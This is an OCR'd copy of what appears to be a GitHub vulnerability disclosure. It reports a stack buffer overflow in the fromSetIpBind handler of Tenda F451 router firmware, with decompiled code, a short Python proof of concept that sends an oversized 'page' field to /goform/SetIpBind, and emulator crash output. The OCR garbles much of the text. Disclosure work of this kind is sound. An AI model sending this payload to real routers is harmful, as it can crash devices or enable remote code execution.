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The fromSetlpBind function in Tenda's
F451 kfw V1.0.0.7_cn_svn7958 product has a buffer
overflow #19

% Jimi-Lab opened 2 weeks ago Owner

Information

Vendor: Tenda

Product: F451 kfw V1.0.0.7_cn_svn7958

Version: V1.0.0.7

Vulnerability: buffer overflow

Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :
In fromSetlpBind function,it reads in a user-provided parameter page.

54  sub_1495C("FireallSpi", fromSpiFirewall);

55  sub_1495C("ArpFenceFrm", fromLanAttackFence);

56  sub_1495C("LanDdosAttack"”, from_lan ddos_attack);
57  sub_1495C("LanBadAttack", from lan bad attack);
58 sub_1495C("LanIpopAttack"”, from_lan _ipop_attack);

59  sub 1495C("SetIpBind”, fromSetIpBind);

60  sub _D878("TendaGetArpBindList", aspTendaGetArpBindList);

61 sub D878("TendaGetArp", aspTendaGetArp);

62 sub _D878("TendaGetDhcpClients"”, aspTendaGetDhcpClients);

63  sub_1495C("DhcplListClient", fromDhcplListClient);

64  sub_1495C("fromSetDosHostLists", fromSetDosHostlists);

65 sub D878("aspTendaGetDosHostlLists", aspTendaGetDosHostlists);

https://github.com/Jimi-Lab/cve/issues/19 1/4


https://github.com/Jimi-Lab
https://github.com/Jimi-Lab/cve
https://github.com/Jimi-Lab/cve
https://github.com/Jimi-Lab/cve/issues
https://github.com/Jimi-Lab/cve/pulls
https://github.com/Jimi-Lab/cve/actions
https://github.com/Jimi-Lab/cve/projects
https://github.com/Jimi-Lab/cve/security
https://github.com/Jimi-Lab
https://github.com/Jimi-Lab
https://www.tenda.com.cn/material/show/1597
https://private-user-images.githubusercontent.com/112402021/571326095-f631130b-5e38-4312-8c19-5b8fafe53c05.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzYwMzY3MDQsIm5iZiI6MTc3NjAzNjQwNCwicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzI2MDk1LWY2MzExMzBiLTVlMzgtNDMxMi04YzE5LTViOGZhZmU1M2MwNS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDEyJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQxMlQyMzI2NDRaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT04YWVhYjk0ZDliOWRiNWMyZDk1NjQ4MTM3MDc4YmRkMzAwMWY1NTEwMjJkNDkxOTBkNTU1OGJmYmIzNDhiMGY0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.CtRZuehjW2uKuo-besXrZBPN62WMr08KIw1VN7Zfk78
https://private-user-images.githubusercontent.com/112402021/571326095-f631130b-5e38-4312-8c19-5b8fafe53c05.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzYwMzY3MDQsIm5iZiI6MTc3NjAzNjQwNCwicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzI2MDk1LWY2MzExMzBiLTVlMzgtNDMxMi04YzE5LTViOGZhZmU1M2MwNS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDEyJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQxMlQyMzI2NDRaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT04YWVhYjk0ZDliOWRiNWMyZDk1NjQ4MTM3MDc4YmRkMzAwMWY1NTEwMjJkNDkxOTBkNTU1OGJmYmIzNDhiMGY0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.CtRZuehjW2uKuo-besXrZBPN62WMr08KIw1VN7Zfk78

4/12/26, 11:26 PM The fromSetlpBind function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow - Issue #19 ...

And the variable v8 is passed to the sprintf function without any length check, which may overflow the stack-
based buffer s.

1 int _ fastcall fromSetIpBind(int al)

2

3 unsigned int v1; // ro®

4 char s[256]; // [sp+106h] [bp-124h] BYREF

5 char *v5; // [sp+116h] [bp-24h]

6 int v6; // [sp+114h] [bp-28h]

7 int v7; [/ [sp+118h] [bp-1Ch]

8 const char *w8; // [sp+11Ch] [bp-18h]

9 char *s1; // [sp+120h] [bp-14h]

1@ int v10; // [sp+124h] [bp-18h]

11

12 s[@] = e;

13  v1e = sub_28BCC(al, "entrys", &unk_81C8C);

14 s1 = {char *)sub 28BCC{al, "op", "no");

15 sub_3A530("security.ipbind", v1@, 126);

16 w8 = (const char *)sub 28BCC({al, "page", "1");

17 sprintf(s, "arp_bind.asp?page=ks", v8);

18  if ( !strncmp(sl, "add", 3u) || !strncmp(sl, "edit", 4u) )

19 {

20 v5 = (char *)sub 28BCC(al, "go", &unk_ 81C8C);

21 vl = strlen(v5);

22 if (vl >4 )

23 vl = (unsigned int)memcpy(s, "arp.asp", 8u);

24}
As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code
execution.
Proof of Concept (PoC)

import requests
url = "http://127.0.0.1/goform/SetlpBind"

payload = {
'page’:b'a™*2048
}

res = requests.post(url=url,data=payload)

Overcome
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1 lah@lah: ~/TengDa/_F451_kfw_V1.0.0.7_cn_svn7958.bin.extra... > lah@lah: ~

connect: No such file or directory ;-5 python3 poci6.py

Connect to server failed. Traceback (most recent call Last):

connect: such file or directory File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py”, line
Connect to server failed. urlopen

connect: No such file or directory httplib_response = self._make_request(

Connect to server failed. File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py”, line
connect: No such file or directory _make_request

Connect to server failed. six.raise_from(e, None)
connect: No such file or directory File tring>", line 3, in raise_from
Connect to server failed. File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py”, line
0.0.0.0 port = 80 _make_request

tening for HTTP requests at address 148.4.9.0 httplib_response = conn.getresponse()
connect: No such file or directory File "/usr/lib/python3.18/http/client.py", line 1375, in getresponse
Connect to server failed. response.begin()
line:458.0pen /dev/flow failed. File "/usr/lib/python3.10/http/client.py”, line 318, in begin
connect: No such file or directory version, status, reason = self. read_status()
Connect to server failed. File "/usr/lib/python3.18/http/client.py”, line 287, in _read_status
connect: No such file or directory raise RemoteDisconnected("Remote end closed connection without”
Connect to server failed. http.client.RemoteDisconnected: Remote end closed connection without response
connect: No such file or directory
Connect to server failed. During handling of the above exception, another exception occurred:
gemu: uncaught target signal 11 (Segmentation fault) - core dumped
EREIR Traceback (most recent call last):

File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
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